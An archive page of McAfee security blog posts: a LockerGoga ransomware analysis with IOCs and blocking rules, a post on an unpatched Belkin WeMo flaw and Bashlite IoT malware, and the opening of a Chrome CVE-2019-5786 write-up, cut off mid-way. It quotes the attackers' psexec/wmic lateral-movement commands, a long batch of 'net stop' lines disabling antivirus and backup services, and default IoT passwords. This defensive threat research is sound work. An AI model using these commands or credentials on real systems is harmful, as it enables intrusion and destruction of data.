Category Archives: McAfee Labs

LockerGoga Ransomware Family Used in Targeted Attacks

Initial discovery

Once again, we have seen a significant new ransomware family in the news. LockerGoga, which adds new features to the tried and true formula of encrypting victims’ files and asking for payment to decrypt them, has gained notoriety for the targets it has affected.

In this blog, we will look at the findings of the McAfee ATR team following analysis of several different samples. We will describe how this new ransomware works and detail how enterprises can protect themselves from this threat.

Technical analysis

LockerGoga is a ransomware that exhibits some interesting behaviors we want to highlight. Based on our research, and compared with other families, it has a few unique functions and capabilities that are rare compared to other ransomware families that have similar objectives and/or targeted sectors in their campaigns.

In order to uncover its capabilities, we analyzed all the samples we found, discovering similarities between them, as well as how the development lifecycle adds or modifies different features in the code to evolve the ransomware in a more professional tool used by the group behind it.

One of the main differences between LockerGoga and other ransomware families is the ability to spawn different processes in order to accelerate the file encryption in the system:

Like other types of malware, LockerGoga will use all the available CPU resources in the system, as we discovered on our machines:

Most of the LockerGoga samples work the same way but we observed how they added and removed certain types of functionality during their development lifecycle.

The ransomware needs be executed from a privileged account.

LockerGoga works in a master/slave configuration. The malware begins its infection on an endpoint by installing a copy of itself on the %TEMP% folder.

After being copied, it will start a new process with the -m parameter.

The master process runs with the -m parameter and is responsible for creating the list of files to encrypt and spawning the slaves.

The slave processes will be executed with a different set of parameters as shown below. Each slave process will encrypt only a small number of files, to avoid heuristic detections available in endpoint security products. The list of files to encrypt is taken from the master process via IPC, an interface used to share data between applications in Microsoft Windows. The communication is done through IPC using a mapped section named SM-<name of binary>.

Here is the IPC technique used by LockerGoga:

  • The master process (run as <LockerGogaBinary> -m) creates a named section on the system for IPC.
  • The section is named “SM-tgytutrc”.
  • The master ransomware process posts the filepath of the file to be encrypted to the named section “SM-tgytutrc”.
  • This section is used by the slave processes to pick up the filepath and encrypt the target file.

Sandbox replication of master process screenshot below showing:

  • Creation of the named section.
  • Subsequent creation of slave processes to encrypt target files on the endpoint.

Sandbox replication of slave process (encryption process) below showing:

  • Obtaining access to the section created by the master process.
  • Reading and encryption of a target file found based on the filepath specified in the named section.

The ransomware creates multiple slave processes on the endpoint to encrypt files. Some analysts believe this is the case simply because it speeds up the encryption process, but we are not convinced as the same outcome can be achieved via a multi-threaded approach in the ransomware process instead of a multi-process approach.

Instead, we suspect this approach is adopted for the following reasons:

  • Footprint: If every encryption process encrypts only a small number of files on the endpoint and terminates, then the overall footprint of the attack on the system decreases since it may be difficult to co-relate multiple encryption processes to the same threat.
  • Sandbox Bypass: Some sandbox-based detection systems monitor the threshold of the number of files written on the system and may co-relate it to the file extensions being written to. E.g. If a process reads, say, 200 files on the sandbox but only creates files with one specific extension (typical of ransomware – Extn “.locked” in the case of LockerGoga) then this can be considered anomalous behavior. LockerGoga may be able to bypass such detection techniques.
  • File I/O based detection bypass: A multi-process-based approach makes sure that the amount of I/O (File/Disk I/O etc.) for each encryption process is within a certain limit, thus bypassing detection techniques that monitor exorbitant I/O based detection.
  • Reliability: Even if one encryption process is manually terminated by an end-user, as long as the master ransomware process is running the files will continue to be encrypted by new slave processes. If the ransomware process does not use the multi-process approach, then terminating the ransomware process stops the encryption on the endpoint.

Username Administrator:

Username Tinba:

The author implemented a logging function that can be enabled if you callout the sample in execution using the parameter “-l” to store all the results in a file called ‘log.txt’ in the root C drive:

During execution we enabled the log function and saw how the ransomware encrypts the system, causing high CPU usage and opening the ransom note during the process. This is the aspect in an infected system:

As we executed the sample with the log function, we could access this file to check the status of the encryption. Obviously, this most likely a debug function used by the developer.

In order to know how the ransomware works, and with the help of the log function enabled, we could establish the order of LockerGoga to encrypt the system:

  • Log file creation in the C: drive
  • Folder and file enumeration
  • File encryption & ransom note creation in the desktop folder.

One interesting thing to mention is that, before encrypting any file in the system, the malware will search for files in the trashcan folder as the first option. We are not certain why it takes this unusual step, though it could be because many people do not empty their recycle bins and the ransomware is looking to encrypt even those files that may no longer be required:

LockerGoga will start to enumerate all the folders and files in the system to start the encryption process. This enumeration is done in parallel, so we can expect the process wouldn’t take much time.

After the enumeration the ransomware will create the ransom note for the victim:

The ransom note was created in parallel with the encrypted files, and it is hardcoded inside the sample:

Like other ransomware families, LockerGoga will create the ransom note file to ask the user to pay to recover their encrypted files. We highly recommend not paying under any circumstance so as not to continue funding an underground business model. In case of a ransomware infection, please check https://www.nomoreransom.org

Below is an example of the ransom note content on an infected machine:

Greetings!

There was a significant flaw in the security system of your company.

You should be thankful that the flaw was exploited by serious people and not some rookies.

They would have damaged all of your data by mistake or for fun.

 

Your files are encrypted with the strongest military algorithms RSA4096 and AES-256.

Without our special decoder it is impossible to restore the data.

Attempts to restore your data with third party software as Photorec, RannohDecryptor etc.

will lead to irreversible destruction of your data.

 

To confirm our honest intentions.

Send us 2-3 different random files and you will get them decrypted.

It can be from different computers on your network to be sure that our decoder decrypts everything.

Sample files we unlock for free (files should not be related to any kind of backups).

 

We exclusively have decryption software for your situation

 

DO NOT RESET OR SHUTDOWN – files may be damaged.

DO NOT RENAME the encrypted files.

DO NOT MOVE the encrypted files.

This may lead to the impossibility of recovery of the certain files.

 

The payment has to be made in Bitcoins.

The final price depends on how fast you contact us.

As soon as we receive the payment you will get the decryption tool and

instructions on how to improve your systems security

 

To get information on the price of the decoder contact us at:

In parallel of the ransom note creation, the files will start to be encrypted by LockerGoga with the .locked extension appended to all files. This extension has been broadly used by other ransomware families in the past:

LockerGoga has embedded in the code the file extensions that it will encrypt. Below is an example:

The sample has also configured some locations and files that will be skipped in the encryption process so as not to disrupt the Operating System from running.

All the files encrypted by this ransomware will have a specific FileMarker inside:

Note: The FileMarker identifies the ransomware family and the most likely version; in this case it is 1440.

During the investigation we identified the following versions:

  • 1200
  • 1510
  • 1440
  • 1320

Based on the binary compile time and the extracted versions, we observed that the actors were creating different versions of LockerGoga for different targets/campaigns.

After encrypting, LockerGoga executes ‘cipher.exe’ to remove the free space to prevent file recovery in the infected system. When files are deleted on a system, sometimes they are still available in the free space of a hard disk and can theoretically be recovered.

Samples digitally signed:

During our triage phase we found that some of the LockerGoga samples are digitally signed. We are observing from ATR that the latest ransomware pieces used a lower scale and more focused are released digitally signed:

  • MIKL LIMITED
  • ALISA LTD
  • KITTY’S LTD

Digitally signing the malware could help the attackers to bypass some of the security protections in the system.

As part of the infection process, LockerGoga will create a static mutex value in the system, always following the same format:

MX-[a-z]\w+

Examples of mutex found:

MX-imtvknqq

MX-tgytutrc

MX-zzbdrimp

Interesting strings found

In our analysis we extracted more strings from the LockerGoga samples, with interesting references to:

  • LockerGoga
  • crypto-locker
  • goga
E:\\crypto-locker\\cryptopp\\src\\crc_simd.cpp

E:\\crypto-locker\\cryptopp\\src\\rijndael_simd.cpp

E:\\crypto-locker\\cryptopp\\src\\sha_simd.cpp

E:\\crypto-locker\\cryptopp\\src\\sse_simd.cpp

E:\\goga\\cryptopp\\src\\crc_simd.cpp

E:\\goga\\cryptopp\\src\\rijndael_simd.cpp

E:\\goga\\cryptopp\\src\\sha_simd.cpp

E:\\goga\\cryptopp\\src\\sse_simd.cpp

X:\\work\\Projects\\LockerGoga\\cl-src-last\\cryptopp\\src\\crc_simd.cpp

X:\\work\\Projects\\LockerGoga\\cl-src-last\\cryptopp\\src\\rijndael_simd.cpp

X:\\work\\Projects\\LockerGoga\\cl-src-last\\cryptopp\\src\\sha_simd.cpp

X:\\work\\Projects\\LockerGoga\\cl-src-last\\cryptopp\\src\\sse_simd.cpp

The malware developers usually forget to remove those strings in their samples and we can use them to identify new families or frameworks used in their development.

Spreading methods:

The malware is known to be spread in the local network through remote file copy. To do that, a set of .batch files are copied to the remote machines TEMP folder using simple copy:

  • copy xax.bat \\123.123.123.123\c$\windows\temp

The malware will copy itself and the tool PSEXEC.EXE to the same location. Once all the files are copied, the malware will run the .BAT file using the following command:

  • start psexec.exe \\123.123.123.123 -u domain\user -p “pass” -d -h -r mstdc -s accepteula -nobanner c:\windows\temp\xax.bat

Each of these .BAT files contain lines to execute the malware on remote machines. They use the following command:

  • start wmic /node:”123.123.123.123″ /user:”domain\user” /password:”pass” process call create “cmd /c c:\windows\temp\kill.bat”

The batch file above attempts to kill several AV products and disable security tools. At the end of the script, the malware copy on the remote machine is executed from

c:\windows\temp\taskhost.exe.

Due to the presence of these batch files and the fact that the malware binary makes no direct reference to them, we believe that the spreading mechanism is executed manually by an attacker or via an unknown binary. The path, username, and passwords are hardcoded in the scripts which indicate the attacker had previous knowledge of the environment.

The following is a list of all the processes and services disabled by the malware:

One batch file found in the infected systems where LockerGoga was executed will stop services and processes regarding critical services in the system and security software:

net stop BackupExecAgentAccelerator /y net stop McAfeeEngineService /y
net stop BackupExecAgentBrowser /y net stop McAfeeFramework /y
net stop BackupExecDeviceMediaService /y net stop McAfeeFrameworkMcAfeeFramework /y
net stop BackupExecJobEngine /y net stop McTaskManager /y
net stop BackupExecManagementService /y net stop mfemms /y
net stop BackupExecRPCService /y net stop mfevtp /y
net stop BackupExecVSSProvider /y net stop MMS /y
net stop bedbg /y net stop mozyprobackup /y
net stop DCAgent /y net stop MsDtsServer /y
net stop EPSecurityService /y net stop MsDtsServer100 /y
net stop EPUpdateService /y net stop MsDtsServer110 /y
net stop EraserSvc11710 /y net stop MSExchangeES /y
net stop EsgShKernel /y net stop MSExchangeIS /y
net stop FA_Scheduler /y net stop MSExchangeMGMT /y
net stop IISAdmin /y net stop MSExchangeMTA /y
net stop IMAP4Svc /y net stop MSExchangeSA /y
net stop macmnsvc /y net stop MSExchangeSRS /y
net stop masvc /y net stop MSOLAP$SQL_2008 /y
net stop MBAMService /y net stop MSOLAP$SYSTEM_BGC /y
net stop MBEndpointAgent /y net stop MSOLAP$TPS /y
net stop McShield /y net stop MSSQLFDLauncher$TPS /y
net stop MSOLAP$TPSAMA /y net stop MSSQLFDLauncher$TPSAMA /y
net stop MSSQL$BKUPEXEC /y net stop MSSQLSERVER /y
net stop MSSQL$ECWDB2 /y net stop MSSQLServerADHelper100 /y
net stop MSSQL$PRACTICEMGT /y net stop MSSQLServerOLAPService /y
net stop MSSQL$PRACTTICEBGC /y net stop MySQL57 /y
net stop MSSQL$PROFXENGAGEMENT /y net stop ntrtscan /y
net stop MSSQL$SBSMONITORING /y net stop OracleClientCache80 /y
net stop MSSQL$SHAREPOINT /y net stop PDVFSService /y
net stop MSSQL$SQL_2008 /y net stop POP3Svc /y
net stop MSSQL$SYSTEM_BGC /y net stop ReportServer /y
net stop MSSQL$TPS /y net stop ReportServer$SQL_2008 /y
net stop MSSQL$TPSAMA /y net stop ReportServer$SYSTEM_BGC /y
net stop MSSQL$VEEAMSQL2008R2 /y net stop ReportServer$TPS /y
net stop MSSQL$VEEAMSQL2012 /y net stop ReportServer$TPSAMA /y
net stop MSSQLFDLauncher /y net stop RESvc /y
net stop MSSQLFDLauncher$PROFXENGAGEMENT /y net stop sacsvr /y
net stop MSSQLFDLauncher$SBSMONITORING /y net stop MSSQLFDLauncher$SHAREPOINT /y net stop SamSs /y
net stop MSSQLFDLauncher$SQL_2008 /y net stop SAVAdminService /y
net stop MSSQLFDLauncher$SYSTEM_BGC /y net stop SAVService /y
net stop MSOLAP$TPSAMA /y net stop MSSQLFDLauncher$TPS /y
net stop MSSQL$BKUPEXEC /y net stop MSSQLFDLauncher$TPSAMA /y
net stop SDRSVC /y net stop SQLSafeOLRService /y
net stop SepMasterService /y net stop SQLSERVERAGENT /y
net stop ShMonitor /y net stop SQLTELEMETRY /y
net stop Smcinst /y net stop SQLTELEMETRY$ECWDB2 /y
net stop SmcService /y net stop SQLWriter /y
net stop SMTPSvc /y net stop SstpSvc /y
net stop SNAC /y net stop svcGenericHost /y
net stop SntpService /y net stop swi_filter /y
net stop sophossps /y net stop swi_service /y
net stop SQLAgent$BKUPEXEC /y net stop swi_update_64 /y
net stop SQLAgent$ECWDB2 /y net stop TmCCSF /y
net stop SQLAgent$PRACTTICEBGC /y net stop tmlisten /y
net stop SQLAgent$PRACTTICEMGT /y net stop TrueKey /y
net stop SQLAgent$PROFXENGAGEMENT /y net stop TrueKeyScheduler /y
net stop SQLAgent$SBSMONITORING /y net stop TrueKeyServiceHelper /y
net stop SQLAgent$SHAREPOINT /y net stop SQLAgent$SQL_2008 /y net stop UI0Detect /y
net stop SQLAgent$SYSTEM_BGC /y net stop SQLAgent$TPS /y net stop VeeamBackupSvc /y
net stop SQLAgent$TPSAMA /y net stop VeeamBrokerSvc /y
net stop SQLAgent$VEEAMSQL2008R2 /y net stop SQLAgent$VEEAMSQL2012 /y net stop VeeamCatalogSvc /y
net stop SQLBrowser /y net stop VeeamCloudSvc /y
net stop SDRSVC /y net stop SQLSafeOLRService /y
net stop SepMasterService /y net stop SQLSERVERAGENT /y
net stop ShMonitor /y net stop SQLTELEMETRY /y
net stop VeeamDeploymentService /y net stop NetMsmqActivator /y
net stop VeeamDeploySvc /y net stop EhttpSrv /y
net stop VeeamEnterpriseManagerSvc /y net stop ekrn /y
net stop VeeamMountSvc /y net stop ESHASRV /y
net stop VeeamNFSSvc /y net stop MSSQL$SOPHOS /y
net stop VeeamRESTSvc /y net stop SQLAgent$SOPHOS /y
net stop VeeamTransportSvc /y net stop AVP /y
net stop W3Svc /y net stop klnagent /y
net stop wbengine /y net stop MSSQL$SQLEXPRESS /y
net stop WRSVC /y net stop SQLAgent$SQLEXPRESS /y net stop wbengine /y
net stop MSSQL$VEEAMSQL2008R2 /y net stop kavfsslp /y
net stop SQLAgent$VEEAMSQL2008R2 /y net stop VeeamHvIntegrationSvc /y net stop KAVFSGT /y
net stop swi_update /y net stop KAVFS /y
net stop SQLAgent$CXDB /y net stop mfefire /y
net stop SQLAgent$CITRIX_METAFRAME /y net stop “SQL Backups” /y net stop “avast! Antivirus” /y
net stop MSSQL$PROD /y net stop aswBcc /y
net stop “Zoolz 2 Service” /y net stop “Avast Business Console Client Antivirus Service” /y
net stop MSSQLServerADHelper /y net stop mfewc /y
net stop SQLAgent$PROD /y net stop Telemetryserver /y
net stop msftesql$PROD /y net stop WdNisSvc /y
net stop WinDefend /y net stop EPUpdateService /y
net stop MCAFEETOMCATSRV530 /y net stop TmPfw /y
net stop MCAFEEEVENTPARSERSRV /y net stop SentinelAgent /y
net stop MSSQLFDLauncher$ITRIS /y net stop SentinelHelperService /y
net stop MSSQL$EPOSERVER /y net stop LogProcessorService /y
net stop MSSQL$ITRIS /y net stop EPUpdateService /y
net stop SQLAgent$EPOSERVER /y net stop TmPfw /y
net stop SQLAgent$ITRIS /y net stop SentinelAgent /y
net stop SQLTELEMETRY$ITRIS /y net stop SentinelHelperService /y
net stop MsDtsServer130 /y net stop LogProcessorService /y
net stop SSISTELEMETRY130 /y net stop EPUpdateService /y
net stop MSSQLLaunchpad$ITRIS /y net stop TmPfw /y
net stop BITS /y net stop SentinelAgent /y
net stop BrokerInfrastructure /y net stop EPProtectedService /y
net stop epag /y net stop epredline /y
net stop EPIntegrationService /y net stop EPSecurityService /y

New ransomware, new features, but still room to improve

We will continue tracking LockerGoga, but we have already seen some interesting features never seen before, such as parallel tasking encrypting the system or log files for debugger purposes. We did not see any spreading method used to deliver LockerGoga so it would be fair to assume it is used in targeted campaigns after the attackers had access to the system. At the time of this analysis, all the samples are not packed, or have complex methods of protection from being executed inside a sandbox system, though this could change in the near future.

Also, during the analysis, we observed LockerGoga encrypting legitimate DLLs, breaking the functionality of certain applications in the system, and also ciphering itself during the process, causing a crash:

We expect all these errors will be fixed with further development of the malware.

Observations:

The McAfee ATR team is observing how some new ransomware players in the cybersecurity field are reusing, or at least only making some minor modifications to, some features used by other ransomware families.

In the case of LockerGoga we can observe the following in:

  • Sectigo as a certificate, also used to digitally sign the certificate
  • Ransom note slightly modified from Ryuk Ransomware
  • Specific FileMarker used to flag the encrypted files
  • No BTC address used in the ransom note, meaning victims must make contact directly by email, something that we have seen elsewhere in our latest investigations.

MITRE ATT&CK Coverage:

Hooking

Kernel Modules and Extensions

Process Injection

Code Signing

Query Registry

Process Discovery

Data Compressed

McAfee coverage:

Detection names: 

RansomCLock-FAL!A5BC1F94E750

Ransom-Goga!E11502659F6B

Trojan-Ransom

Ransom-Goga!438EBEC995AD

Trojan-FQSS!3B200C8173A9

RansomCLock-FAL!A1D732AA27E1

Ransom-Goga!C2DA604A2A46

Ransom-O

Trojan-FPYT!BA53D8910EC3

Ransom-FQPT!FAF4DE4E1C5D

RansomCLock-FAL!3EBCA21B1D4E

RansomCLock-FAL!E8C7C902BCB2

Ransom-Goga!E11502659F6B

Generic.bvg

Ransom-Goga!16BCC3B7F32C

Expert Rules

The following expert rules can be used in Endpoint Security to block the malware from spreading. These rules are aggressive and may cause false positives, so make sure they are removed once the environment is cleaned:

Rule {

Process {

Include OBJECT_NAME { -v “SYSTEM:REMOTE” }

}

Target {

Match FILE {

Include OBJECT_NAME { -v “c:\\windows\\temp\\*.exe” }

Include OBJECT_NAME { -v “c:\\windows\\temp\\*.bat” }

Include -access “CREATE”

}

}

}

Rule {

Process {

Include OBJECT_NAME { -v “WmiPrvSE.exe” }

}

Target {

Match PROCESS {

Include OBJECT_NAME { -v “cmd.exe”}

Include -access “CREATE”

}

}

}

Customers can also add the following Access Protection rule to prevent the creation of encrypted files on the victim host:

Prescriptive guidance

It is advisable for customers to undertake appropriate risk assessment to determine if this threat has a high probability of targeting their environments.  Whilst the above detailed known samples are incorporated within McAfee technologies, customers can also add the following Access Protection rules to prevent the creation of encrypted files on the victim host:

Executables:

  • Inclusion Status: Include
  • File Name or Path: *
  • SubRule:

SubRule:

  • Type: File
  • Operations: Create
  • Targets:
    • Target 1:
      • Include
      • Files: *.locked
    • Target 2:
      • Include
      • Destination file: *.locked

Customers can also add the following Access Protection rule to prevent the creation of encrypted files on the victim host:

  • File/Folder Access Protection Rule: Processes tInclude: *
  • File or folder name tblock: *.locked
  • File actions tprevent: New files being create

Access Protection Rules:

Customers can also add Access Protection rules matching these characteristics: Prevent Creation\Execution of:

  • c:\windows\temp\x??.bat
  • c:\windows\temp\kill.bat
  • c:\windows\temp\taskhost.exe

Prevent execution of binaries signed with SN:

  • C=GB, PostalCode=DT3 4DD, S=WEYMOUTH, L=WEYMOUTH, STREET=16 Australia Road Chickerell,
  • O=MIKL LIMITED, CN=MIKL LIMITED
  • C=GB, PostalCode=WC2H 9JQ, S=LONDON, L=LONDON, STREET=71-75 Shelton Street Covent
  • Garden, O=ALISA LTD, CN=ALISA LTD
  • C=GB, PostalCode=EC1V 2NX, S=LONDON, L=LONDON, STREET=Kemp House 160 City Road,
  • O=KITTY’S LTD, CN=KITTY’S LTD

YARA RULE

We have a YARA rule available on our ATR github repository:

IOCs

a52f26575556d3c4eccd3b51265cb4e6

ba53d8910ec3e46864c3c86ebd628796

c2da604a2a469b1075e20c5a52ad3317

7e3f8b6b7ac0565bfcbf0a1e3e6fcfbc

3b200c8173a92c94441cb062d38012f6

438ebec995ad8e05a0cea2e409bfd488

16bcc3b7f32c41e7c7222bf37fe39fe6

e11502659f6b5c5bd9f78f534bc38fea

9cad8641ac79688e09c5fa350aef2094

164f72dfb729ca1e15f99d456b7cf811

52340664fe59e030790c48b66924b5bd

174e3d9c7b0380dd7576187c715c4681

3ebca21b1d4e2f482b3eda6634e89211

a1d732aa27e1ca2ae45a189451419ed5

e8c7c902bcb2191630e10a80ddf9d5de

4da135516f3da1c6ca04d17f83b99e65

a5bc1f94e7505a2e73c866551f7996f9

b3d3da12ca3b9efd042953caa6c3b8cd

faf4de4e1c5d8e4241088c90cfe8eddd

dece7ebb578772e466d3ecae5e2917f9

MayarChenot@protonmail[.]com

DharmaParrack@protonmail[.]com

wyattpettigrew8922555@mail[.]com

SayanWalsworth96@protonmail[.]com

SuzuMcpherson@protonmail[.]com

AbbsChevis@protonmail[.]com

QicifomuEjijika@o2[.]pl

RezawyreEdipi1998@o2[.]pl

AsuxidOruraep1999@o2[.]pl

IjuqodiSunovib98@o2[.]pl

aperywsqaroci@o2[.]pl

abbschevis@protonmail[.]com

asuxidoruraep1999@o2[.]pl

cottleakela@protonmail[.]com

couwetizotofo@o2[.]pl

dharmaparrack@protonmail[.]com

dutyuenugev89@o2[.]pl

phanthavongsaneveyah@protonmail[.]com

mayarchenot@protonmail[.]com

ijuqodisunovib98@o2[.]pl

qicifomuejijika@o2[.]pl

rezawyreedipi1998@o2[.]pl

qyavauzehyco1994@o2[.]pl

romanchukeyla@protonmail[.]com

sayanwalsworth96@protonmail[.]com

schreibereleonora@protonmail[.]com

suzumcpherson@protonmail[.]com

wyattpettigrew8922555@mail[.]com

The post LockerGoga Ransomware Family Used in Targeted Attacks appeared first on McAfee Blogs.

IoT Zero-Days – Is Belkin WeMo Smart Plug the Next Malware Target?

Effective malware is typically developed with intention, targeting specific victims using either known or unknown vulnerabilities to achieve its primary functions. In this blog, we will explore a vulnerability submitted by McAfee Advanced Threat Research (ATR) and investigate a piece of malware that recently incorporated similar vulnerabilities. The takeaway from this blog is the increasing movement towards IoT-specific malware and the likelihood of this unique vulnerability being incorporated into future malware.

We are rapidly approaching the one-year mark for the date McAfee ATR disclosed to Belkin (a consumer electronics company) a critical, remote code execution vulnerability in the Belkin WeMo Insight smart plug.  The date was May 21st, 2018, and the disclosure included extensive details on the vulnerability (a buffer overflow), proof-of-concept, exploit code and even a video demo showing the impact, dropping into a root shell opened on the target device. We further blogged about how this device, once compromised, can be used to pivot to other devices inside the network, including smart TVs, surveillance cameras, and even fully patched non-IoT devices such as PCs. Initially, the vendor assured us they had a patch ready to go and would be rolling it out prior to our planned public disclosure. In January of 2019, Belkin patched a vulnerability in the Mr. Coffee Coffee Maker w/ WeMo, which McAfee ATR reported to Belkin on November 16th, 2018, and released publicly at Mobile World Congress in late February. We commend Belkin for an effective patch within the disclosure window, though we were somewhat surprised that this was the prioritized patch given the Mr. Coffee product with WeMo no longer appears to be produced or sold.

The Insight smart plug firmware update never materialized and, after attempts to try to communicate further, three months later, in accordance with our vulnerability disclosure policy, McAfee ATR disclosed the issue publicly on August 21st. Our hope is that vulnerability disclosures will encourage vendors to patch vulnerabilities, educate the security community on a vulnerable product to drive development of defenses and, ultimately, encourage developers to recognize the impact that insecure code development can have.

Fast forward nearly a year and, to the best of our knowledge this vulnerability, classified as CVE-2018-6692, is still a zero-day vulnerability.  As of April 10th, 2019, we have heard of plans for a patch towards the end of the month and are standing by to confirm. We intentionally did not release exploit code to the public, as we believe it tips the balance in favor of cyber criminals, but exploitation of this vulnerability, while challenging in some regards, is certainly straightforward for a determined attacker.

IoT-Specific Malware

Let’s focus now on why this vulnerability is enticing for malicious actors.  Recently, Trend Micro released a blog observing occasional in-the-wild detections for a malware known as Bashlite. This specific malware was recently updated to include IoT devices in its arsenal, specifically using a Metasploit module for a known vulnerability in the WeMo UPnP protocol. The vulnerability appears to be tied to a 2015 bug which was patched by Belkin and was used to fingerprint and exploit WeMo devices using the “SetSmartDevInfo” action and corresponding “SmartDevURL” argument.

We can say for certain that this Metasploit module is not targeting the same vulnerability submitted by McAfee ATR, which resides in the <EnergyPerUnitCostVersion> XML field, within the libUPnPHndlr.so library.

Analysis of Bashlite and IOT Device Targets

After briefly analyzing a few samples of the malware (file hashes from the aforementioned blog), the device appears to check for default credentials and known vulnerabilities in multiple IoT devices. For example, I came across a tweet after finding reference to a password in the binary of “oelinux123”.

This IoT device is an Alcatel Mobile Wifi, which has a number of known/default passwords. Notice the top username/password combination of “root:oelinux123.” When we analyze the actual malware, we can observe the steps used to enumerate and scan for vulnerable devices.

Here is a reference from the popular binary disassembly tool IDA Pro showing the password “OELINUX123” used to access a mobile WiFi device.

The next image is a large “jump table” used to scan through and identify a range of devices or targets using known passwords or vulnerabilities.

Next is some output from the “Echobot” scanner employed by the malware used to report possible vulnerabilities in target devices from the above jump table.

The final screenshot shows a list of some of the hardcoded credentials used by the malware.

The “huigu309” password appears to be associated with Zhone and Alcatel Lucent routers. Both routers have had several known vulnerabilities, backdoors and hardcoded passwords built into the firmware.

There is no need to continue the analysis further as the point of this is not to analyze the Bashlite malware in depth, but I did think it was worth expanding on some of the capabilities briefly, to show this malware is programmed to target multiple IoT devices.

Now to the point! The simple fact that generic WeMo Metasploit modules were added to this indicates that Belkin WeMo makes an interesting enough target that an unpatched vulnerability would be compelling to add to the malware’s capabilities. Hence, we believe it is possible, perhaps even likely, that malware authors already have or are currently working on incorporating the unpatched WeMo Insight vulnerability into IoT malware. We will be closely following threats related to this zero-day and will update or add to this blog if malware embedding this vulnerability surfaces. If the vendor does produce an effective patch, it will be a step in the right direction to reduce the overall threat and likelihood of weaponizing the vulnerability in malware.

How to Protect Your Devices

As this vulnerability requires network access to exploit the device, we highly recommend users of IoT devices such as the WeMo Insight implement strong WIFI passwords, and further isolate IoT devices from critical devices using VLANs or network segmentation. McAfee Secure Home Platform users can enable whitelisting or blacklisting features for protection from malicious botnets attempting to exploit this vulnerability.

Call to Action for Vendors, Consumers and Enterprise

It should be plain to see there is some low-hanging fruit in the industry of securing IoT devices. While some of the obvious simple issues such as hardcoded credentials are unexplainable, we understand that true software vulnerabilities cannot always be avoided. However, we issue a call-to action for IoT vendors; these issues must be fixed, and quickly too. Threat actors are constantly tracking flaws which they can weaponize, and we see a prime example of this in the Bashlite malware, updated for IoT devices including Belkin WeMo. By listening to consumer’s asks for security, partnering with researchers closely to identify flaws, and having a fast and flexible response model, vendors have a unique opportunity to close the holes in the products the world is increasingly relying on. Consumers can take away the importance of basic security hygiene; applying security updates when available, practicing complex password policy for home networks and devices, and isolating critical devices or networks from IoT.  Enterprise readers should be aware that just because this is an IoT consumer device typically, does not mean corporate assets cannot be compromised.  Once a home network has been infiltrated, all devices on that same network should be considered at risk, including corporate laptops.  This is a common method for cyber criminals to cross the boundary between home and enterprise.

The post IoT Zero-Days – Is Belkin WeMo Smart Plug the Next Malware Target? appeared first on McAfee Blogs.

Analysis of a Chrome Zero Day: CVE-2019-5786

1. Introduction

On March 1st, Google published an advisory [1] for a use-after-free in the Chrome implementation of the FileReader API (CVE 2019-5786). Clement Lecigne from Google Threat Analysis Group reported the bug as being exploited in the wild and targeting Windows 7, 32-bit platforms. The exploit leads to code execution in the Renderer process, and a second exploit was used to fully compromise the host system [2]. This blog is a technical write-up detailing the first bug and how to find more information about it. At the time of writing, the bug report [2b] is still sealed. Default installation of Chrome will install updates automatically, and users running the latest version of Chrome are already protected against that bug. To make sure you’re running the patched version, visit chrome://version, the version number displayed on the page should be 72.0.3626.121 or greater.

2. Information gathering

2.1 The bug fix

Most of the Chrome codebase is based on the Chromium open source project. The bug we are looking at is contained inside the open source code, so we can directly look at what was fixed in the new release pertaining to the FileReader API. Conveniently, Google shares the changelog for its new release [3].

We can see that there’s only one commit that modifies files related to the FileReader API, with the following message:

The message hints that having multiple references to the same underlying ArrayBuffer is a bad thing. It is not clear what it means right now, but the following paragraphs will work on figuring out what wisdom lies hidden in this message.

For starters, we can look at the commit diff [3b] and see what changed. For ease of reading, here is a comparison of the function before and after the patch.

The old one:

The new one:

The two versions can be found on GitHub at [4a] and [4b]. This change modifies the behavior of the ArrayBufferResult function that is responsible for returning data when a user wants to access the FileReader.result member.
The behavior of the function is as follows: if the result is already ‘cached,’ return that. If not, there are two cases; if the data has finished loading, create a DOMArrayBuffer, cache the result, and returns it. If not, it creates a temporary DOMArrayBuffer and returns that instead. The difference between the unpatched and patched version is how that temporary DOMArrayBuffer is handled, in case of a partial load. In one case, we can see a call to:

 

This prompted us to go down a few more rabbit holes. Let us compare what is going on in both the unpatched and patched situation.

We can start with the patched version, as it is the simplest to understand. We can see a call to ArrayBuffer::Create that takes two arguments, a pointer to the data and its length (the function is defined in the source tree at /third_party/blink/renderer/platform/wtf/typed_arrays/array_buffer.h)

 

This basically creates a new ArrayBuffer, wraps it into a scoped_refptr<ArrayBuffer> and then copies the data into it. The scoped_refptr is a way for Chromium to handle reference counting [5]. For readers unfamiliar with the notion, the idea is to keep track of how many times an object is being referenced. When creating a new instance of a scoped_refptr, the reference count for the underlying object is incremented; when the object exits its scope, the reference count is decremented. When that reference count reaches 0, the object is deleted (and for the curious, Chrome will kill a process if the reference count overflows….). As we’re looking for a potential use-after-free, knowing that the buffer is ref-counted closes some avenues of exploitation.

In the unpatched version, instead of calling ArrayBuffer::Create, the code uses the return value of ArrayBufferBuilder::ToArrayBuffer() (from third_party/blink/renderer/platform/wtf/typed_arrays/array_buffer_builder.cc):

 

Here is yet another rabbit hole to dive into (but we will keep it high level).  Depending on the value of bytes_used_), the function will either return its buffer, or a Sliced version of it (i.e. a new ArrayBuffer of a smaller size, that contains a copy of the data)

 

To sum up what we have so far, in all the code paths we have looked at, they all return a copy of the data instead of the actual buffer, unless we run the unpatched code, and the buffer we try to access is `fully used` (per the comment in ArrayBufferBuilder::ToArrayBuffer()).
Because of the implementation of the FileReaderLoader object, the buffer_->ByteLength() is the pre-allocated size of the buffer, which correspond to the size of the data we want to load (this will be relevant later on).
If we now remember the commit message and what the bad scenario was, it looks like the only situation to exploit the bug is to access multiple times the ArrayBufferBuilder::ToArrayBuffer(), before the finished_loading is set to true, but after the data is fully loaded.

To wrap up this part of the code review, let us look at the behavior of the DOMArrayBuffer::Create function that is being called in both patched/unpatched cases, the case interesting to us is when we have the following call DOMArrayBuffer::Create(raw_data_->ToArrayBuffer());

From third_party/blink/renderer/core/typed_arrays/dom_array_buffer.h:

 

Something interesting to look at is the use of std::move, which has the semantic of transferring ownership.
For instance, in the following snippet:

then `b` takes ownership of what belonged to `a` (`b` now contains “hello”) and `a` is now in a somewhat undefined state (C++11 specs explain that in more precise terms)).

